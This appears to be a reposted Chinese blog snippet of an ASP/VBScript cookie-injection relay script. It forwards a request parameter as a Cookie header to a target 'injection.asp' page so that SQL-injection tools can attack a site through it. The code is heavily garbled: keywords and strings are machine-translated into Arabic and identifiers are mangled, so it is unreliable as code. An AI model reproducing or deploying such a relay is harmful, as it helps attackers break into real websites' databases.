： ： 职业欠钱 و ZJ1244 共 用的 publicblog
复制代码代码如下:
<٪
str = "xxxid =" & Escape (request ("fk"))
url = "http://xxx.chinaxxx.com/injection.asp"
استجابة. writepostdata (url ، str)
FunctionPostdata (posturl ، postcok)
DIMHTTP
sethttp = server.createBject ("msxml2.serverxmlhttp")
withttp
. فتح "الحصول" ، posturl ، خطأ
.SetRequestHeader "ملف تعريف الارتباط" ، postcok
.يرسل
postdata = .ResponseBody
endwith
sethttp = لا شيء
postdata = bytes2bsstr (postdata)
الوظيفية
functionBytes2bst (VIN)
dimstreturn
Dimi ، thischarcode ، NextCharcode
streturn = ""
fori = 1tolenb (vin)
thischarcode = ASCB (MIDB (VIN ، I ، 1))
IfThischarcode <& h80then
Streturn = Streturn & CHR (thischarcode)
آخر
NextCharCode = ASCB (MIDB (VIN ، I+1،1))
Streturn = Streturn & CHR (CLNG (thischarcode)*& H100+Cint (NextCharCode))
i = i+1
Endif
التالي
bytes2bstr = streturn
الوظيفية
٪>